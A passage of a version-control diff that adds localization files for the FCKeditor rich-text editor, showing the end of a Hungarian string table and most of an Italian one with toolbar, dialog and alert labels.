+DlgBtnOK			: "Rendben",
+DlgBtnCancel		: "Mégsem",
+DlgBtnClose			: "Bezárás",
+DlgBtnBrowseServer	: "Böngészés a szerveren",
+DlgAdvancedTag		: "További opciók",
+DlgOpOther			: "Egyéb",
+DlgInfoTab			: "Alaptulajdonságok",
+DlgAlertUrl			: "Illessze be a webcímet",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nincs beállítva>",
+DlgGenId			: "Azonosító",
+DlgGenLangDir		: "Írás iránya",
+DlgGenLangDirLtr	: "Balról jobbra",
+DlgGenLangDirRtl	: "Jobbról balra",
+DlgGenLangCode		: "Nyelv kódja",
+DlgGenAccessKey		: "Billentyűkombináció",
+DlgGenName			: "Név",
+DlgGenTabIndex		: "Tabulátor index",
+DlgGenLongDescr		: "Részletes leírás webcíme",
+DlgGenClass			: "Stíluskészlet",
+DlgGenTitle			: "Súgócimke",
+DlgGenContType		: "Súgó tartalomtípusa",
+DlgGenLinkCharset	: "Hivatkozott tartalom kódlapja",
+DlgGenStyle			: "Stílus",
+
+// Image Dialog
+DlgImgTitle			: "Kép tulajdonságai",
+DlgImgInfoTab		: "Alaptulajdonságok",
+DlgImgBtnUpload		: "Küldés a szerverre",
+DlgImgURL			: "Hivatkozás",
+DlgImgUpload		: "Feltöltés",
+DlgImgAlt			: "Buborék szöveg",
+DlgImgWidth			: "Szélesség",
+DlgImgHeight		: "Magasság",
+DlgImgLockRatio		: "Arány megtartása",
+DlgBtnResetSize		: "Eredeti méret",
+DlgImgBorder		: "Keret",
+DlgImgHSpace		: "Vízsz. táv",
+DlgImgVSpace		: "Függ. táv",
+DlgImgAlign			: "Igazítás",
+DlgImgAlignLeft		: "Bal",
+DlgImgAlignAbsBottom: "Legaljára",
+DlgImgAlignAbsMiddle: "Közepére",
+DlgImgAlignBaseline	: "Alapvonalhoz",
+DlgImgAlignBottom	: "Aljára",
+DlgImgAlignMiddle	: "Középre",
+DlgImgAlignRight	: "Jobbra",
+DlgImgAlignTextTop	: "Szöveg tetejére",
+DlgImgAlignTop		: "Tetejére",
+DlgImgPreview		: "Előnézet",
+DlgImgAlertUrl		: "Töltse ki a kép webcímét",
+DlgImgLinkTab		: "Hivatkozás",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash tulajdonságai",
+DlgFlashChkPlay		: "Automata lejátszás",
+DlgFlashChkLoop		: "Folyamatosan",
+DlgFlashChkMenu		: "Flash menü engedélyezése",
+DlgFlashScale		: "Méretezés",
+DlgFlashScaleAll	: "Mindent mutat",
+DlgFlashScaleNoBorder	: "Keret nélkül",
+DlgFlashScaleFit	: "Teljes kitöltés",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Hivatkozás tulajdonságai",
+DlgLnkInfoTab		: "Alaptulajdonságok",
+DlgLnkTargetTab		: "Megjelenítés",
+
+DlgLnkType			: "Hivatkozás típusa",
+DlgLnkTypeURL		: "Webcím",
+DlgLnkTypeAnchor	: "Horgony az oldalon",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<más>",
+DlgLnkURL			: "Webcím",
+DlgLnkAnchorSel		: "Horgony választása",
+DlgLnkAnchorByName	: "Horgony név szerint",
+DlgLnkAnchorById	: "Azonosító szerint",
+DlgLnkNoAnchors		: "<Nincs horgony a dokumentumban>",
+DlgLnkEMail			: "E-Mail cím",
+DlgLnkEMailSubject	: "Üzenet tárgya",
+DlgLnkEMailBody		: "Üzenet",
+DlgLnkUpload		: "Feltöltés",
+DlgLnkBtnUpload		: "Küldés a szerverre",
+
+DlgLnkTarget		: "Tartalom megjelenítése",
+DlgLnkTargetFrame	: "<keretben>",
+DlgLnkTargetPopup	: "<felugró ablakban>",
+DlgLnkTargetBlank	: "Új ablakban (_blank)",
+DlgLnkTargetParent	: "Szülő ablakban (_parent)",
+DlgLnkTargetSelf	: "Azonos ablakban (_self)",
+DlgLnkTargetTop		: "Legfelső ablakban (_top)",
+DlgLnkTargetFrameName	: "Keret neve",
+DlgLnkPopWinName	: "Felugró ablak neve",
+DlgLnkPopWinFeat	: "Felugró ablak jellemzői",
+DlgLnkPopResize		: "Méretezhető",
+DlgLnkPopLocation	: "Címsor",
+DlgLnkPopMenu		: "Menü sor",
+DlgLnkPopScroll		: "Gördítősáv",
+DlgLnkPopStatus		: "Állapotsor",
+DlgLnkPopToolbar	: "Eszköztár",
+DlgLnkPopFullScrn	: "Teljes képernyő (csak IE)",
+DlgLnkPopDependent	: "Szülőhöz kapcsolt (csak Netscape)",
+DlgLnkPopWidth		: "Szélesség",
+DlgLnkPopHeight		: "Magasság",
+DlgLnkPopLeft		: "Bal pozíció",
+DlgLnkPopTop		: "Felső pozíció",
+
+DlnLnkMsgNoUrl		: "Adja meg a hivatkozás webcímét",
+DlnLnkMsgNoEMail	: "Adja meg az E-Mail címet",
+DlnLnkMsgNoAnchor	: "Válasszon egy horgonyt",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Színválasztás",
+DlgColorBtnClear	: "Törlés",
+DlgColorHighlight	: "Előnézet",
+DlgColorSelected	: "Kiválasztott",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Hangulatjel beszúrása",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Speciális karakter választása",
+
+// Table Dialog
+DlgTableTitle		: "Táblázat tulajdonságai",
+DlgTableRows		: "Sorok",
+DlgTableColumns		: "Oszlopok",
+DlgTableBorder		: "Szegélyméret",
+DlgTableAlign		: "Igazítás",
+DlgTableAlignNotSet	: "<Nincs beállítva>",
+DlgTableAlignLeft	: "Balra",
+DlgTableAlignCenter	: "Középre",
+DlgTableAlignRight	: "Jobbra",
+DlgTableWidth		: "Szélesség",
+DlgTableWidthPx		: "képpont",
+DlgTableWidthPc		: "százalék",
+DlgTableHeight		: "Magasság",
+DlgTableCellSpace	: "Cella térköz",
+DlgTableCellPad		: "Cella belső margó",
+DlgTableCaption		: "Felirat",
+DlgTableSummary		: "Leírás",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cella tulajdonságai",
+DlgCellWidth		: "Szélesség",
+DlgCellWidthPx		: "képpont",
+DlgCellWidthPc		: "százalék",
+DlgCellHeight		: "Magasság",
+DlgCellWordWrap		: "Sortörés",
+DlgCellWordWrapNotSet	: "<Nincs beállítva>",
+DlgCellWordWrapYes	: "Igen",
+DlgCellWordWrapNo	: "Nem",
+DlgCellHorAlign		: "Vízsz. igazítás",
+DlgCellHorAlignNotSet	: "<Nincs beállítva>",
+DlgCellHorAlignLeft	: "Balra",
+DlgCellHorAlignCenter	: "Középre",
+DlgCellHorAlignRight: "Jobbra",
+DlgCellVerAlign		: "Függ. igazítás",
+DlgCellVerAlignNotSet	: "<Nincs beállítva>",
+DlgCellVerAlignTop	: "Tetejére",
+DlgCellVerAlignMiddle	: "Középre",
+DlgCellVerAlignBottom	: "Aljára",
+DlgCellVerAlignBaseline	: "Egyvonalba",
+DlgCellRowSpan		: "Sorok egyesítése",
+DlgCellCollSpan		: "Oszlopok egyesítése",
+DlgCellBackColor	: "Háttérszín",
+DlgCellBorderColor	: "Szegélyszín",
+DlgCellBtnSelect	: "Kiválasztás...",
+
+// Find Dialog
+DlgFindTitle		: "Keresés",
+DlgFindFindBtn		: "Keresés",
+DlgFindNotFoundMsg	: "A keresett szöveg nem található.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Csere",
+DlgReplaceFindLbl		: "Keresett szöveg:",
+DlgReplaceReplaceLbl	: "Csere erre:",
+DlgReplaceCaseChk		: "kis- és nagybetű megkülönböztetése",
+DlgReplaceReplaceBtn	: "Csere",
+DlgReplaceReplAllBtn	: "Az összes cseréje",
+DlgReplaceWordChk		: "csak ha ez a teljes szó",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "A böngésző biztonsági beállításai nem engedélyezik a szerkesztőnek, hogy végrehajtsa a beillesztés műveletet. Használja az alábbi billentyűkombinációt (Ctrl+V).",
+PasteErrorCut	: "A böngésző biztonsági beállításai nem engedélyezik a szerkesztőnek, hogy végrehajtsa a kivágás műveletet. Használja az alábbi billentyűkombinációt (Ctrl+X).",
+PasteErrorCopy	: "A böngésző biztonsági beállításai nem engedélyezik a szerkesztőnek, hogy végrehajtsa a másolás műveletet. Használja az alábbi billentyűkombinációt (Ctrl+X).",
+
+PasteAsText		: "Beillesztés formázatlan szövegként",
+PasteFromWord	: "Beillesztés Word-ből",
+
+DlgPasteMsg2	: "Másolja be az alábbi mezőbe a <STRONG>Ctrl+V</STRONG> billentyűk lenyomásával, majd nyomjon <STRONG>Rendben</STRONG>-t.",
+DlgPasteIgnoreFont		: "Betű formázások megszüntetése",
+DlgPasteRemoveStyles	: "Stílusok eltávolítása",
+DlgPasteCleanBox		: "Törlés",
+
+// Color Picker
+ColorAutomatic	: "Automatikus",
+ColorMoreColors	: "További színek...",
+
+// Document Properties
+DocProps		: "Dokumentum tulajdonságai",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Horgony tulajdonságai",
+DlgAnchorName		: "Horgony neve",
+DlgAnchorErrorName	: "Kérem adja meg a horgony nevét",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Nincs a szótárban",
+DlgSpellChangeTo		: "Módosítás",
+DlgSpellBtnIgnore		: "Kihagyja",
+DlgSpellBtnIgnoreAll	: "Mindet kihagyja",
+DlgSpellBtnReplace		: "Csere",
+DlgSpellBtnReplaceAll	: "Összes cseréje",
+DlgSpellBtnUndo			: "Visszavonás",
+DlgSpellNoSuggestions	: "Nincs javaslat",
+DlgSpellProgress		: "Helyesírás-ellenőrzés folyamatban...",
+DlgSpellNoMispell		: "Helyesírás-ellenőrzés kész: Nem találtam hibát",
+DlgSpellNoChanges		: "Helyesírás-ellenőrzés kész: Nincs változtatott szó",
+DlgSpellOneChange		: "Helyesírás-ellenőrzés kész: Egy szó cserélve",
+DlgSpellManyChanges		: "Helyesírás-ellenőrzés kész: %1 szó cserélve",
+
+IeSpellDownload			: "A helyesírás-ellenőrző nincs telepítve. Szeretné letölteni most?",
+
+// Button Dialog
+DlgButtonText		: "Szöveg (Érték)",
+DlgButtonType		: "Típus",
+DlgButtonTypeBtn	: "Gomb",
+DlgButtonTypeSbm	: "Küldés",
+DlgButtonTypeRst	: "Alaphelyzet",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Név",
+DlgCheckboxValue	: "Érték",
+DlgCheckboxSelected	: "Kiválasztott",
+
+// Form Dialog
+DlgFormName		: "Név",
+DlgFormAction	: "Adatfeldolgozást végző hivatkozás",
+DlgFormMethod	: "Adatküldés módja",
+
+// Select Field Dialog
+DlgSelectName		: "Név",
+DlgSelectValue		: "Érték",
+DlgSelectSize		: "Méret",
+DlgSelectLines		: "sor",
+DlgSelectChkMulti	: "több sor is kiválasztható",
+DlgSelectOpAvail	: "Elérhető opciók",
+DlgSelectOpText		: "Szöveg",
+DlgSelectOpValue	: "Érték",
+DlgSelectBtnAdd		: "Hozzáad",
+DlgSelectBtnModify	: "Módosít",
+DlgSelectBtnUp		: "Fel",
+DlgSelectBtnDown	: "Le",
+DlgSelectBtnSetValue : "Legyen az alapértelmezett érték",
+DlgSelectBtnDelete	: "Töröl",
+
+// Textarea Dialog
+DlgTextareaName	: "Név",
+DlgTextareaCols	: "Karakterek száma egy sorban",
+DlgTextareaRows	: "Sorok száma",
+
+// Text Field Dialog
+DlgTextName			: "Név",
+DlgTextValue		: "Érték",
+DlgTextCharWidth	: "Megjelenített karakterek száma",
+DlgTextMaxChars		: "Maximális karakterszám",
+DlgTextType			: "Típus",
+DlgTextTypeText		: "Szöveg",
+DlgTextTypePass		: "Jelszó",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Név",
+DlgHiddenValue	: "Érték",
+
+// Bulleted List Dialog
+BulletedListProp	: "Felsorolás tulajdonságai",
+NumberedListProp	: "Számozás tulajdonságai",
+DlgLstStart			: "Start",
+DlgLstType			: "Formátum",
+DlgLstTypeCircle	: "Kör",
+DlgLstTypeDisc		: "Lemez",
+DlgLstTypeSquare	: "Négyzet",
+DlgLstTypeNumbers	: "Számok (1, 2, 3)",
+DlgLstTypeLCase		: "Kisbetűk (a, b, c)",
+DlgLstTypeUCase		: "Nagybetűk (A, B, C)",
+DlgLstTypeSRoman	: "Kis római számok (i, ii, iii)",
+DlgLstTypeLRoman	: "Nagy római számok (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Általános",
+DlgDocBackTab		: "Háttér",
+DlgDocColorsTab		: "Színek és margók",
+DlgDocMetaTab		: "Meta adatok",
+
+DlgDocPageTitle		: "Oldalcím",
+DlgDocLangDir		: "Írás iránya",
+DlgDocLangDirLTR	: "Balról jobbra",
+DlgDocLangDirRTL	: "Jobbról balra",
+DlgDocLangCode		: "Nyelv kód",
+DlgDocCharSet		: "Karakterkódolás",
+DlgDocCharSetCE		: "Közép-Európai",
+DlgDocCharSetCT		: "Kínai Tradicionális (Big5)",
+DlgDocCharSetCR		: "Cyrill",
+DlgDocCharSetGR		: "Görög",
+DlgDocCharSetJP		: "Japán",
+DlgDocCharSetKR		: "Koreai",
+DlgDocCharSetTR		: "Török",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Nyugat-Európai",
+DlgDocCharSetOther	: "Más karakterkódolás",
+
+DlgDocDocType		: "Dokumentum típus fejléc",
+DlgDocDocTypeOther	: "Más dokumentum típus fejléc",
+DlgDocIncXHTML		: "XHTML deklarációk beillesztése",
+DlgDocBgColor		: "Háttérszín",
+DlgDocBgImage		: "Háttérkép cím",
+DlgDocBgNoScroll	: "Nem gördíthető háttér",
+DlgDocCText			: "Szöveg",
+DlgDocCLink			: "Cím",
+DlgDocCVisited		: "Látogatott cím",
+DlgDocCActive		: "Aktív cím",
+DlgDocMargins		: "Oldal margók",
+DlgDocMaTop			: "Felső",
+DlgDocMaLeft		: "Bal",
+DlgDocMaRight		: "Jobb",
+DlgDocMaBottom		: "Alsó",
+DlgDocMeIndex		: "Dokumentum keresőszavak (vesszővel elválasztva)",
+DlgDocMeDescr		: "Dokumentum leírás",
+DlgDocMeAuthor		: "Szerző",
+DlgDocMeCopy		: "Szerzői jog",
+DlgDocPreview		: "Előnézet",
+
+// Templates Dialog
+Templates			: "Sablonok",
+DlgTemplatesTitle	: "Elérhető sablonok",
+DlgTemplatesSelMsg	: "Válassza ki melyik sablon nyíljon meg a szerkesztőben<br>(a jelenlegi tartalom elveszik):",
+DlgTemplatesLoading	: "Sablon lista betöltése. Kis türelmet...",
+DlgTemplatesNoTpl	: "(Nincs sablon megadva)",
+DlgTemplatesReplace	: "Kicseréli a jelenlegi tartalmat",
+
+// About Dialog
+DlgAboutAboutTab	: "Névjegy",
+DlgAboutBrowserInfoTab	: "Böngésző információ",
+DlgAboutLicenseTab	: "Licensz",
+DlgAboutVersion		: "verzió",
+DlgAboutLicense		: "GNU Lesser General Public License szabadalom alá tartozik",
+DlgAboutInfo		: "További információkért látogasson el ide:"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/it.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/it.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/it.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: it.js
+ * 	Italian language file.
+ * 
+ * File Authors:
+ * 		Simone Chiaretta (simone@piyosailing.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Nascondi la barra degli strumenti",
+ToolbarExpand		: "Mostra la barra degli strumenti",
+
+// Toolbar Items and Context Menu
+Save				: "Salva",
+NewPage				: "Nuova pagina vuota",
+Preview				: "Anteprima",
+Cut					: "Taglia",
+Copy				: "Copia",
+Paste				: "Incolla",
+PasteText			: "Incolla come testo semplice",
+PasteWord			: "Incolla da Word",
+Print				: "Stampa",
+SelectAll			: "Seleziona tutto",
+RemoveFormat		: "Elimina formattazione",
+InsertLinkLbl		: "Collegamento",
+InsertLink			: "Inserisci/Modifica collegamento",
+RemoveLink			: "Elimina collegamento",
+Anchor				: "Inserisci/Modifica Ancora",
+InsertImageLbl		: "Immagine",
+InsertImage			: "Inserisci/Modifica immagine",
+InsertFlashLbl		: "Oggetto Flash",
+InsertFlash			: "Inserisci/Modifica Oggetto Flash",
+InsertTableLbl		: "Tabella",
+InsertTable			: "Inserisci/Modifica tabella",
+InsertLineLbl		: "Riga orizzontale",
+InsertLine			: "Inserisci riga orizzontale",
+InsertSpecialCharLbl: "Caratteri speciali",
+InsertSpecialChar	: "Inserisci carattere speciale",
+InsertSmileyLbl		: "Emoticon",
+InsertSmiley		: "Inserisci emoticon",
+About				: "Informazioni su FCKeditor",
+Bold				: "Grassetto",
+Italic				: "Corsivo",
+Underline			: "Sottolineato",
+StrikeThrough		: "Barrato",
+Subscript			: "Pedice",
+Superscript			: "Apice",
+LeftJustify			: "Allinea a sinistra",
+CenterJustify		: "Centra",
+RightJustify		: "Allinea a destra",
+BlockJustify		: "Giustifica",
+DecreaseIndent		: "Riduci rientro",
+IncreaseIndent		: "Aumenta rientro",
+Undo				: "Annulla",
+Redo				: "Ripristina",
+NumberedListLbl		: "Elenco numerato",
+NumberedList		: "Inserisci/Modifica elenco numerato",
+BulletedListLbl		: "Elenco puntato",
+BulletedList		: "Inserisci/Modifica elenco puntato",
+ShowTableBorders	: "Mostra bordi tabelle",
+ShowDetails			: "Mostra dettagli",
+Style				: "Stile",
+FontFormat			: "Formato",
+Font				: "Font",
+FontSize			: "Dimensione",
+TextColor			: "Colore testo",
+BGColor				: "Colore sfondo",
+Source				: "Codice Sorgente",
+Find				: "Trova",
+Replace				: "Sostituisci",
+SpellCheck			: "Correttore ortografico",
+UniversalKeyboard	: "Tastiera universale",
+PageBreakLbl		: "Interruzione di pagina",
+PageBreak			: "Inserisci interruzione di pagina",
+
+Form			: "Modulo",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Campo di testo",
+Textarea		: "Area di testo",
+HiddenField		: "Campo nascosto",
+Button			: "Bottone",
+SelectionField	: "Menu di selezione",
+ImageButton		: "Bottone immagine",
+
+FitWindow		: "Massimizza l'area dell'editor",
+
+// Context Menu
+EditLink			: "Modifica collegamento",
+CellCM				: "Cella",
+RowCM				: "Riga",
+ColumnCM			: "Colonna",
+InsertRow			: "Inserisci riga",
+DeleteRows			: "Elimina righe",
+InsertColumn		: "Inserisci colonna",
+DeleteColumns		: "Elimina colonne",
+InsertCell			: "Inserisci cella",
+DeleteCells			: "Elimina celle",
+MergeCells			: "Unisce celle",
+SplitCell			: "Dividi celle",
+TableDelete			: "Cancella Tabella",
+CellProperties		: "Proprietà cella",
+TableProperties		: "Proprietà tabella",
+ImageProperties		: "Proprietà immagine",
+FlashProperties		: "Proprietà Oggetto Flash",
+
+AnchorProp			: "Proprietà ancora",
+ButtonProp			: "Proprietà bottone",
+CheckboxProp		: "Proprietà checkbox",
+HiddenFieldProp		: "Proprietà campo nascosto",
+RadioButtonProp		: "Proprietà radio button",
+ImageButtonProp		: "Proprietà bottone immagine",
+TextFieldProp		: "Proprietà campo di testo",
+SelectionFieldProp	: "Proprietà menu di selezione",
+TextareaProp		: "Proprietà area di testo",
+FormProp			: "Proprietà modulo",
+
+FontFormats			: "Normale;Formattato;Indirizzo;Titolo 1;Titolo 2;Titolo 3;Titolo 4;Titolo 5;Titolo 6;Paragrafo (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Elaborazione XHTML in corso. Attendere prego...",
+Done				: "Completato",
+PasteWordConfirm	: "Il testo da incollare sembra provenire da Word. Desideri pulirlo prima di incollare?",
+NotCompatiblePaste	: "Questa funzione è disponibile solo per Internet Explorer 5.5 o superiore. Desideri incollare il testo senza pulirlo?",
+UnknownToolbarItem	: "Elemento della barra strumenti sconosciuto \"%1\"",
+UnknownCommand		: "Comando sconosciuto \"%1\"",
+NotImplemented		: "Comando non implementato",
+UnknownToolbarSet	: "La barra di strumenti \"%1\" non esiste",
+NoActiveX			: "Le impostazioni di sicurezza del tuo browser potrebbero limitare alcune funzionalità dell'editor. Devi abilitare l'opzione \"Esegui controlli e plug-in ActiveX\". Potresti avere errori e notare funzionalità mancanti.",
+BrowseServerBlocked : "Non è possibile aprire la finestra di espolorazione risorse. Verifica che tutti i blocca popup siano bloccati.",
+DialogBlocked		: "Non è possibile aprire la finestra di dialogo. Verifica che tutti i blocca popup siano bloccati.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Annulla",
+DlgBtnClose			: "Chiudi",
+DlgBtnBrowseServer	: "Cerca sul server",
+DlgAdvancedTag		: "Avanzate",
+DlgOpOther			: "<Altro>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Devi inserire l'URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<non impostato>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Direzione scrittura",
+DlgGenLangDirLtr	: "Da Sinistra a Destra (LTR)",
+DlgGenLangDirRtl	: "Da Destra a Sinistra (RTL)",
+DlgGenLangCode		: "Codice Lingua",
+DlgGenAccessKey		: "Scorciatoia<br />da tastiera",
+DlgGenName			: "Nome",
+DlgGenTabIndex		: "Ordine di tabulazione",
+DlgGenLongDescr		: "URL descrizione estesa",
+DlgGenClass			: "Nome classe CSS",
+DlgGenTitle			: "Titolo",
+DlgGenContType		: "Tipo della risorsa collegata",
+DlgGenLinkCharset	: "Set di caretteri della risorsa collegata",
+DlgGenStyle			: "Stile",
+
+// Image Dialog
+DlgImgTitle			: "Proprietà immagine",
+DlgImgInfoTab		: "Informazioni immagine",
+DlgImgBtnUpload		: "Invia al server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Carica",
+DlgImgAlt			: "Testo alternativo",
+DlgImgWidth			: "Larghezza",
+DlgImgHeight		: "Altezza",
+DlgImgLockRatio		: "Blocca rapporto",
+DlgBtnResetSize		: "Reimposta dimensione",
+DlgImgBorder		: "Bordo",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Allineamento",
+DlgImgAlignLeft		: "Sinistra",
+DlgImgAlignAbsBottom: "In basso assoluto",
+DlgImgAlignAbsMiddle: "Centrato assoluto",
+DlgImgAlignBaseline	: "Linea base",
+DlgImgAlignBottom	: "In Basso",
+DlgImgAlignMiddle	: "Centrato",
+DlgImgAlignRight	: "Destra",
+DlgImgAlignTextTop	: "In alto al testo",
+DlgImgAlignTop		: "In Alto",
+DlgImgPreview		: "Anteprima",
+DlgImgAlertUrl		: "Devi inserire l'URL per l'immagine",
+DlgImgLinkTab		: "Collegamento",
+
+// Flash Dialog
+DlgFlashTitle		: "Proprietà Oggetto Flash",
+DlgFlashChkPlay		: "Avvio Automatico",
+DlgFlashChkLoop		: "Cicla",
+DlgFlashChkMenu		: "Abilita Menu di Flash",
+DlgFlashScale		: "Ridimensiona",
+DlgFlashScaleAll	: "Mostra Tutto",
+DlgFlashScaleNoBorder	: "Senza Bordo",
+DlgFlashScaleFit	: "Dimensione Esatta",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Collegamento",
+DlgLnkInfoTab		: "Informazioni collegamento",
+DlgLnkTargetTab		: "Destinazione",
+
+DlgLnkType			: "Tipo di Collegamento",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ancora nella pagina",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocollo",
+DlgLnkProtoOther	: "<altro>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Scegli Ancora",
+DlgLnkAnchorByName	: "Per Nome",
+DlgLnkAnchorById	: "Per id elemento",
+DlgLnkNoAnchors		: "<Nessuna ancora disponibile nel documento>",
+DlgLnkEMail			: "Indirizzo E-Mail",
+DlgLnkEMailSubject	: "Oggetto del messaggio",
+DlgLnkEMailBody		: "Corpo del messaggio",
+DlgLnkUpload		: "Carica",
+DlgLnkBtnUpload		: "Invia al Server",
+
+DlgLnkTarget		: "Destinazione",
+DlgLnkTargetFrame	: "<riquadro>",
+DlgLnkTargetPopup	: "<finestra popup>",
+DlgLnkTargetBlank	: "Nuova finestra (_blank)",
+DlgLnkTargetParent	: "Finestra padre (_parent)",
+DlgLnkTargetSelf	: "Stessa finestra (_self)",
+DlgLnkTargetTop		: "Finestra superiore (_top)",
+DlgLnkTargetFrameName	: "Nome del riquadro di destinazione",
+DlgLnkPopWinName	: "Nome finestra popup",
+DlgLnkPopWinFeat	: "Caratteristiche finestra popup",
+DlgLnkPopResize		: "Ridimensionabile",
+DlgLnkPopLocation	: "Barra degli indirizzi",
+DlgLnkPopMenu		: "Barra del menu",
+DlgLnkPopScroll		: "Barre di scorrimento",
+DlgLnkPopStatus		: "Barra di stato",
+DlgLnkPopToolbar	: "Barra degli strumenti",
+DlgLnkPopFullScrn	: "A tutto schermo (IE)",
+DlgLnkPopDependent	: "Dipendente (Netscape)",
+DlgLnkPopWidth		: "Larghezza",
+DlgLnkPopHeight		: "Altezza",
+DlgLnkPopLeft		: "Posizione da sinistra",
+DlgLnkPopTop		: "Posizione dall'alto",
+
+DlnLnkMsgNoUrl		: "Devi inserire l'URL del collegamento",
+DlnLnkMsgNoEMail	: "Devi inserire un'indirizzo e-mail",
+DlnLnkMsgNoAnchor	: "Devi selezionare un'ancora",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Seleziona colore",
+DlgColorBtnClear	: "Vuota",
+DlgColorHighlight	: "Evidenziato",
+DlgColorSelected	: "Selezionato",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Inserisci emoticon",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Seleziona carattere speciale",
+
+// Table Dialog
+DlgTableTitle		: "Proprietà tabella",
+DlgTableRows		: "Righe",
+DlgTableColumns		: "Colonne",
+DlgTableBorder		: "Dimensione bordo",
+DlgTableAlign		: "Allineamento",
+DlgTableAlignNotSet	: "<non impostato>",
+DlgTableAlignLeft	: "Sinistra",
+DlgTableAlignCenter	: "Centrato",
+DlgTableAlignRight	: "Destra",
+DlgTableWidth		: "Larghezza",
+DlgTableWidthPx		: "pixel",
+DlgTableWidthPc		: "percento",
+DlgTableHeight		: "Altezza",
+DlgTableCellSpace	: "Spaziatura celle",
+DlgTableCellPad		: "Padding celle",
+DlgTableCaption		: "Intestazione",
+DlgTableSummary		: "Indice",
+
+// Table Cell Dialog
+DlgCellTitle		: "Proprietà cella",
+DlgCellWidth		: "Larghezza",
+DlgCellWidthPx		: "pixel",
+DlgCellWidthPc		: "percento",
+DlgCellHeight		: "Altezza",
+DlgCellWordWrap		: "A capo automatico",
+DlgCellWordWrapNotSet	: "<non impostato>",
+DlgCellWordWrapYes	: "Si",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Allineamento orizzontale",
+DlgCellHorAlignNotSet	: "<non impostato>",
+DlgCellHorAlignLeft	: "Sinistra",
+DlgCellHorAlignCenter	: "Centrato",
+DlgCellHorAlignRight: "Destra",
+DlgCellVerAlign		: "Allineamento verticale",
+DlgCellVerAlignNotSet	: "<non impostato>",
+DlgCellVerAlignTop	: "In Alto",
+DlgCellVerAlignMiddle	: "Centrato",
+DlgCellVerAlignBottom	: "In Basso",
+DlgCellVerAlignBaseline	: "Linea base",
+DlgCellRowSpan		: "Righe occupate",
+DlgCellCollSpan		: "Colonne occupate",
+DlgCellBackColor	: "Colore sfondo",
+DlgCellBorderColor	: "Colore bordo",
+DlgCellBtnSelect	: "Scegli...",
+
+// Find Dialog
+DlgFindTitle		: "Trova",
+DlgFindFindBtn		: "Trova",
+DlgFindNotFoundMsg	: "L'elemento cercato non è stato trovato.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Sostituisci",
+DlgReplaceFindLbl		: "Trova:",
+DlgReplaceReplaceLbl	: "Sostituisci con:",
+DlgReplaceCaseChk		: "Maiuscole/minuscole",
+DlgReplaceReplaceBtn	: "Sostituisci",
+DlgReplaceReplAllBtn	: "Sostituisci tutto",
+DlgReplaceWordChk		: "Solo parole intere",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Le impostazioni di sicurezza del browser non permettono di incollare automaticamente il testo. Usa la tastiera (Ctrl+V).",
+PasteErrorCut	: "Le impostazioni di sicurezza del browser non permettono di tagliare automaticamente il testo. Usa la tastiera (Ctrl+X).",
+PasteErrorCopy	: "Le impostazioni di sicurezza del browser non permettono di copiare automaticamente il testo. Usa la tastiera (Ctrl+C).",
+
+PasteAsText		: "Incolla come testo semplice",
+PasteFromWord	: "Incolla da Word",
+
+DlgPasteMsg2	: "Incolla il testo all'interno dell'area sottostante usando la scorciatoia di tastiere (<STRONG>Ctrl+V</STRONG>) e premi <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignora le definizioni di Font",
+DlgPasteRemoveStyles	: "Rimuovi le definizioni di Stile",
+DlgPasteCleanBox		: "Svuota area di testo",
+
+// Color Picker
+ColorAutomatic	: "Automatico",
+ColorMoreColors	: "Altri colori...",
+
+// Document Properties
+DocProps		: "Proprietà del Documento",
+
+// Anchor Dialog
